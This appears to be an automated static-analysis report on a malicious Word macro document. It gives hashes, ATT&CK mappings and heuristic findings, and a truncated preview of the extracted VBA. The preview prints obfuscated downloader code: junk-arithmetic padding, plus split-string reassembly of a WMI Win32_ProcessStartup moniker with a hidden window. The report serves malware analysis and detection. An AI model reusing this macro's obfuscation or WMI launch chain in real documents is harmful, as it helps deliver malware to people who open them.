Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dedc8d1945bfd1e1…

MALICIOUS

Office (OLE)

306.6 KB Created: 2019-02-19 14:27:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 71b3e07a5f218bc9288bd5a5aa09636b SHA-1: cfc71f577638725df926026a2864d005a5b38603 SHA-256: dedc8d1945bfd1e100a6b5d3c2e07015101a4c280dcbade7a7c216494211b263
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains a VBA macro with an AutoOpen function, a common technique for malicious documents. Critical heuristics indicate the use of WMI (Win32_Process) to launch processes, and obfuscation techniques were used to hide the API name. This suggests the macro is designed to download and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Downloader.00536d-6862699-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6862699-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 54276 bytes
SHA-256: b5e5038b1fe4ebcdb09e8693d1f8e1d3e1d4e1fba0a7f12051d97c9e566e09e1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "B_54___2"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "V__2_4_"
Function m___78()
   If K4017_88 <> b70323_ Then
w6__3_ = 676411380 + CSng(902769596) * 639371999 * ChrB(305851574) * (i49127_1 / CDbl(111091278 + CBool(o_484098 - Int(215231100 / C74581__ * 866800844 / Cos(n_422_)))) - (E2503_ + Oct(901098556) + 407681515 / 405586109))
End If
   If n4373_60 <> Y7_223 Then
W__33_55 = 547900059 + CSng(661605813) * 280709795 * ChrB(135003218) * (f_994_ / CDbl(278516587 + CBool(I2_03929 - Int(124385894 / Y__9163 * 862424473 / Cos(V173__77)))) - (Y___1522 + Oct(739909078) + 460911697 / 70907849))
End If
   If j6474_76 <> b_238744 Then
D___407 = 525097009 + CSng(132546479) * 559897912 * ChrB(142835119) * (Z040908 / CDbl(671911760 + CBool(s58174 - Int(973284356 / S1__8739 * 309879371 / Cos(Z_7997)))) - (j80_0817 + Oct(740033666) + 674475802 / 932573343))
End If
   If A7_126 <> H_3_11 Then
E866681 = 988769228 + CSng(184794271) * 176105590 * ChrB(697053438) * (Z907615 / CDbl(896653395 + CBool(h36754 - Int(584255276 / m875_7_ * 511239702 / Cos(s_0_0058)))) - (A0856_4 + Oct(40243315) + 5296533 / 714676121))
End If
   If h__1_5_ <> C2397872 Then
B_61490_ = 291262482 + CSng(327691649) * 526955138 * ChrB(338547165) * (t3029_ / CDbl(721697075 + CBool(V604_94 - Int(453883908 / u_84_963 * 496157512 / Cos(H022_5_)))) - (R325_98 + Oct(366162956) + 841894559 / 210075743))
End If
   If i0632906 <> w16759_ Then
N46__4_9 = 301077372 + CSng(126024532) * 793403221 * ChrB(568524520) * (r400_5_ / CDbl(364834565 + CBool(Q_8_48 - Int(362601566 / z884_9 * 900735792 / Cos(T55_8793)))) - (A62__20_ + Oct(683775718) + 77478731 / 333150039))
End If
   If M_54_988 <> O_136924 Then
z_395790 = 97617899 + CSng(900149016) * 939208228 * ChrB(456224319) * (V_3887 / CDbl(783551027 + CBool(p82328 - Int(45821550 / w__50__5 * 38404569 / Cos(C__3__9)))) - (m_14_61 + Oct(207816199) + 316803171 / 477354883))
End If
End Function
Function w__2714(z43___7, D8_72279)
On Error Resume Next
   If z8_15_8 <> H_9_844_ Then
t58__73_ = 415669453 + CSng(177967222) * 542512675 * ChrB(34188839) * (l60__0 / CDbl(694434581 + CBool(w7_12_ - Int(888388735 / V6437918 * 166393358 / Cos(w52884)))) - (V_02739 + Oct(461859523) + 58738133 / 456795723))
End If
   If m6_79_ <> N39679 Then
m557_9_ = 408586963 + CSng(183025097) * 652457175 * ChrB(255373042) * (H2_515 / CDbl(526487716 + CBool(n2__06 - Int(229697226 / f524_1_ * 173358459 / Cos(V4_0912)))) - (C752888 + Oct(199501376) + 506349595 / 966912781))
End If
   If H_99_0_9 <> r_8438_ Then
n5_0_636 = 660236173 + CSng(784043701) * 561509502 * ChrB(88675836) * (K804_1 / CDbl(812193441 + CBool(V_3__7 - Int(906694307 / r71834_4 * 588500475 / Cos(q_59_5)))) - (Q_53_58 + Oct(803682559) + 548836369 / 588980858))
End If
Set w8063_54 = GetObject(r99__9_ + "winmgm" + R8_53965 + "ts:Win" + "32_Proce" + "ssStartup")
   If J6_540_0 <> D42_4631 Then
f239_607 = 332230605 + CSng(868432359) * 118011931 * ChrB(208874536) * (z36973 / CDbl(809551050 + CBool(I_93706 - Int(896829033 / w32447 * 842602653 / Cos(T3__5__)))) - (i87148 + Oct(986953957) + 767073285 / 214428337))
End If
   If k290_3 <> Q___17 Then
L_2_570 = 529709120 + CSng(868056260) * 422481843 * ChrB(548254372) * (Z905819 / CDbl(835499105 + CBool(i5__429 - Int(864370957 / l__0_047 * 54889224 / Cos(i06_218)))) - (D_04798 + Oct(675878004) + 366702240 / 404302499))
End If
w8063_54.ShowWindow = 338002 - 338002
   If Z7_67_ <> I224325_ Then
A__01144 = 780998169 + CSng(384515749) * 67235128 * ChrB(855867520) * (P_6_8_ / CDbl(722785790 + CBool(w7__01 - Int(301122005 / B3547_ * 416842574 / Cos(J_0954)))) - (V_65_4__ + Oct(819103689) + 147386499 / 242687250))
End If
   If H__222_ <> h_7_76 Then
j965215 = 325476201 + CSng(837827693) * 609776461 * ChrB(916626818) * (i85_8178 / CDbl(56292241 + CBool(O1418_ - Int(172722893 / F5
... (truncated)

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